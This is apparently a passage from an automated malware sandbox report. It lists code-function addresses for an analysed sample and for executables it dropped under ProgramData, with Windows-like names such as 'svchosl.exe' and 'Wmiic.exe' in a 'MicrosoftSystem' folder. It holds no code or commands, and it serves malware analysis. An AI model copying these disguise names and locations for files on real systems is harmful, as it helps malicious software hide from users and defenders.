Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4A5D8	0_2_07C4A5D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4967A	0_2_07C4967A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4A5C7	0_2_07C4A5C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4A5D8	0_2_07C4A5D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C41438	0_2_07C41438
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C49309	0_2_07C49309
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C43FD2	0_2_07C43FD2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C41E69	0_2_07C41E69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C41E78	0_2_07C41E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4FC55	0_2_07C4FC55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C48A02	0_2_07C48A02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4F808	0_2_07C4F808
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C61299	0_2_07C61299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C6EAA8	0_2_07C6EAA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C6DF88	0_2_07C6DF88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07D3BB91	0_2_07D3BB91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07D30040	0_2_07D30040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07D30007	0_2_07D30007
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084E2C58	0_2_084E2C58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084E3190	0_2_084E3190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084E11A8	0_2_084E11A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084E8218	0_2_084E8218
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084EC8F8	0_2_084EC8F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_084E34C3	0_2_084E34C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08514931	0_2_08514931
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085141E0	0_2_085141E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0851D770	0_2_0851D770
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08517B55	0_2_08517B55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08518158	0_2_08518158
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08515570	0_2_08515570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08576D00	0_2_08576D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08571F5C	0_2_08571F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08578CF4	0_2_08578CF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08571F5C	0_2_08571F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08571F5C	0_2_08571F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085B70B8	0_2_085B70B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085BA968	0_2_085BA968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085BCAFA	0_2_085BCAFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085BBCEE	0_2_085BBCEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085B9540	0_2_085B9540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085B9530	0_2_085B9530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_085BBDB0	0_2_085BBDB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08600040	0_2_08600040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08600006	0_2_08600006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_089898F8	0_2_089898F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_089861D0	0_2_089861D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08984A98	0_2_08984A98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08987268	0_2_08987268
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08983BB8	0_2_08983BB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_089813C0	0_2_089813C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08984330	0_2_08984330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08985B31	0_2_08985B31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0898DD99	0_2_0898DD99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08980590	0_2_08980590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0898BE98	0_2_0898BE98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0898EEF8	0_2_0898EEF8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08988F90	0_2_08988F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08987FD8	0_2_08987FD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08983740	0_2_08983740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_089898E9	0_2_089898E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08980040	0_2_08980040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08983BA8	0_2_08983BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_08987FC8	0_2_08987FC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09427940	0_2_09427940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_09423E38	0_2_09423E38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0898A0C0	0_2_0898A0C0
Source: C:\Users\123.exe	Code function: 3_2_00EB848E	3_2_00EB848E
Source: C:\Users\123.exe	Code function: 3_2_00EC6CDC	3_2_00EC6CDC
Source: C:\Users\123.exe	Code function: 3_2_00EB40FE	3_2_00EB40FE
Source: C:\Users\123.exe	Code function: 3_2_00EC00B7	3_2_00EC00B7
Source: C:\Users\123.exe	Code function: 3_2_00EC4088	3_2_00EC4088
Source: C:\Users\123.exe	Code function: 3_2_00ED51C9	3_2_00ED51C9
Source: C:\Users\123.exe	Code function: 3_2_00EC7153	3_2_00EC7153
Source: C:\Users\123.exe	Code function: 3_2_00EB32F7	3_2_00EB32F7
Source: C:\Users\123.exe	Code function: 3_2_00EC62CA	3_2_00EC62CA
Source: C:\Users\123.exe	Code function: 3_2_00EC43BF	3_2_00EC43BF
Source: C:\Users\123.exe	Code function: 3_2_00EBF461	3_2_00EBF461
Source: C:\Users\123.exe	Code function: 3_2_00EDD440	3_2_00EDD440
Source: C:\Users\123.exe	Code function: 3_2_00EBC426	3_2_00EBC426
Source: C:\Users\123.exe	Code function: 3_2_00EC77EF	3_2_00EC77EF
Source: C:\Users\123.exe	Code function: 3_2_00EDD8EE	3_2_00EDD8EE
Source: C:\Users\123.exe	Code function: 3_2_00EB286B	3_2_00EB286B
Source: C:\Users\123.exe	Code function: 3_2_00EE19F4	3_2_00EE19F4
Source: C:\Users\123.exe	Code function: 3_2_00EBE9B7	3_2_00EBE9B7
Source: C:\Users\123.exe	Code function: 3_2_00EC3E0B	3_2_00EC3E0B
Source: C:\Users\123.exe	Code function: 3_2_00EBEFE2	3_2_00EBEFE2
Source: C:\Users\123.exe	Code function: 3_2_00ED4F9A	3_2_00ED4F9A
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140020A2C	6_2_0000000140020A2C
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014000D2D0	6_2_000000014000D2D0
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140023864	6_2_0000000140023864
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140010470	6_2_0000000140010470
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_00000001400070A0	6_2_00000001400070A0
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140019CB4	6_2_0000000140019CB4
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_00000001400030D0	6_2_00000001400030D0
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014000F500	6_2_000000014000F500
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140013D10	6_2_0000000140013D10
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140005D20	6_2_0000000140005D20
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014000DD40	6_2_000000014000DD40
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140012550	6_2_0000000140012550
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140022D60	6_2_0000000140022D60
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014001CDD4	6_2_000000014001CDD4
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140012E00	6_2_0000000140012E00
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140008E20	6_2_0000000140008E20
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014000EE50	6_2_000000014000EE50
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140021B40	6_2_0000000140021B40
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140002B50	6_2_0000000140002B50
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014001ABAC	6_2_000000014001ABAC
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014001DBB8	6_2_000000014001DBB8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B346A4C	14_2_00007FF77B346A4C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3406D4	14_2_00007FF77B3406D4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B327C70	14_2_00007FF77B327C70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B346500	14_2_00007FF77B346500
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B337C98	14_2_00007FF77B337C98
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B338350	14_2_00007FF77B338350
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B335B50	14_2_00007FF77B335B50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3303D8	14_2_00007FF77B3303D8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B33E3B8	14_2_00007FF77B33E3B8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32FBB8	14_2_00007FF77B32FBB8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B332A28	14_2_00007FF77B332A28
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3406D4	14_2_00007FF77B3406D4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3332F0	14_2_00007FF77B3332F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B345B00	14_2_00007FF77B345B00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B339AA0	14_2_00007FF77B339AA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3312C0	14_2_00007FF77B3312C0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32911D	14_2_00007FF77B32911D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B343A10	14_2_00007FF77B343A10
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3301CC	14_2_00007FF77B3301CC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3288EB	14_2_00007FF77B3288EB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B33D8A4	14_2_00007FF77B33D8A4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32874B	14_2_00007FF77B32874B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B349808	14_2_00007FF77B349808
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32FFC8	14_2_00007FF77B32FFC8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B331658	14_2_00007FF77B331658
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B341674	14_2_00007FF77B341674
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B332E2C	14_2_00007FF77B332E2C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B343EAC	14_2_00007FF77B343EAC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B345D7C	14_2_00007FF77B345D7C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B33DD38	14_2_00007FF77B33DD38
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3305DC	14_2_00007FF77B3305DC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3325F0	14_2_00007FF77B3325F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32FDBC	14_2_00007FF77B32FDBC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B346A4C	16_2_00007FF77B346A4C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32874B	16_2_00007FF77B32874B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B327C70	16_2_00007FF77B327C70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B346500	16_2_00007FF77B346500
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B337C98	16_2_00007FF77B337C98
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B338350	16_2_00007FF77B338350
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B335B50	16_2_00007FF77B335B50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3303D8	16_2_00007FF77B3303D8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B33E3B8	16_2_00007FF77B33E3B8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32FBB8	16_2_00007FF77B32FBB8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B332A28	16_2_00007FF77B332A28
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3406D4	16_2_00007FF77B3406D4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3332F0	16_2_00007FF77B3332F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B345B00	16_2_00007FF77B345B00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B339AA0	16_2_00007FF77B339AA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3312C0	16_2_00007FF77B3312C0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32911D	16_2_00007FF77B32911D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B343A10	16_2_00007FF77B343A10
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3301CC	16_2_00007FF77B3301CC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3288EB	16_2_00007FF77B3288EB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B33D8A4	16_2_00007FF77B33D8A4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B349808	16_2_00007FF77B349808
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32FFC8	16_2_00007FF77B32FFC8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B331658	16_2_00007FF77B331658
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B341674	16_2_00007FF77B341674
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B332E2C	16_2_00007FF77B332E2C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B343EAC	16_2_00007FF77B343EAC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3406D4	16_2_00007FF77B3406D4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B345D7C	16_2_00007FF77B345D7C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B33DD38	16_2_00007FF77B33DD38
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3305DC	16_2_00007FF77B3305DC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3325F0	16_2_00007FF77B3325F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32FDBC	16_2_00007FF77B32FDBC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1EB0	16_2_00007FF8A87C1EB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1AE1	16_2_00007FF8A87C1AE1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1F73	16_2_00007FF8A87C1F73
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A895A910	16_2_00007FF8A895A910
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2112	16_2_00007FF8A87C2112
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C69F6	16_2_00007FF8A87C69F6
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5204	16_2_00007FF8A87C5204
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C60D7	16_2_00007FF8A87C60D7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6717	16_2_00007FF8A87C6717
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C12A8	16_2_00007FF8A87C12A8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3EA4	16_2_00007FF8A87C3EA4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88FEDB0	16_2_00007FF8A88FEDB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1BC7	16_2_00007FF8A87C1BC7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88EEE80	16_2_00007FF8A88EEE80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DEF00	16_2_00007FF8A87DEF00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C60DC	16_2_00007FF8A87C60DC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C51D7	16_2_00007FF8A87C51D7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C34AE	16_2_00007FF8A87C34AE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3EB3	16_2_00007FF8A87C3EB3
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2671	16_2_00007FF8A87C2671
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DF060	16_2_00007FF8A87DF060
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4421	16_2_00007FF8A87C4421
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3099	16_2_00007FF8A87C3099
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2D60	16_2_00007FF8A87C2D60
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C24AA	16_2_00007FF8A87C24AA
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6915	16_2_00007FF8A87C6915
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4DA4	16_2_00007FF8A87C4DA4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88A2410	16_2_00007FF8A88A2410
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2B2B	16_2_00007FF8A87C2B2B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C654B	16_2_00007FF8A87C654B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6000	16_2_00007FF8A87C6000
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C258B	16_2_00007FF8A87C258B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4E7B	16_2_00007FF8A87C4E7B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88F6710	16_2_00007FF8A88F6710
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4129	16_2_00007FF8A87C4129
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C105F	16_2_00007FF8A87C105F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6596	16_2_00007FF8A87C6596
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C19D8	16_2_00007FF8A87C19D8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88AA870	16_2_00007FF8A88AA870
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4B24	16_2_00007FF8A87C4B24
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3C1A	16_2_00007FF8A87C3C1A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A895BA70	16_2_00007FF8A895BA70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A89F3B80	16_2_00007FF8A89F3B80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4025	16_2_00007FF8A87C4025
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A882FB00	16_2_00007FF8A882FB00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C385F	16_2_00007FF8A87C385F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C12C1	16_2_00007FF8A87C12C1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88FFB70	16_2_00007FF8A88FFB70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1B95	16_2_00007FF8A87C1B95
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DBD60	16_2_00007FF8A87DBD60
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C200E	16_2_00007FF8A87C200E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A8957E70	16_2_00007FF8A8957E70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C513C	16_2_00007FF8A87C513C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A896FF80	16_2_00007FF8A896FF80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88EBFA0	16_2_00007FF8A88EBFA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C7194	16_2_00007FF8A87C7194
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DBF20	16_2_00007FF8A87DBF20
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C135C	16_2_00007FF8A87C135C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C627B	16_2_00007FF8A87C627B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2C52	16_2_00007FF8A87C2C52
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2A27	16_2_00007FF8A87C2A27
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C48CC	16_2_00007FF8A87C48CC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DF200	16_2_00007FF8A87DF200
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5227	16_2_00007FF8A87C5227
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2513	16_2_00007FF8A87C2513
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4B74	16_2_00007FF8A87C4B74
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87EB4C0	16_2_00007FF8A87EB4C0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A89574F0	16_2_00007FF8A89574F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5B91	16_2_00007FF8A87C5B91
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88EB600	16_2_00007FF8A88EB600
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3DBE	16_2_00007FF8A87C3DBE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1B72	16_2_00007FF8A87C1B72
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4651	16_2_00007FF8A87C4651
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1889	16_2_00007FF8A87C1889
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2BC6	16_2_00007FF8A87C2BC6
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2504	16_2_00007FF8A87C2504
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C11DB	16_2_00007FF8A87C11DB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C282E	16_2_00007FF8A87C282E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87EB850	16_2_00007FF8A87EB850
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3DC8	16_2_00007FF8A87C3DC8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A895C990	16_2_00007FF8A895C990
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4DEA	16_2_00007FF8A87C4DEA
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2932	16_2_00007FF8A87C2932
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6E7E	16_2_00007FF8A87C6E7E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88F4A40	16_2_00007FF8A88F4A40
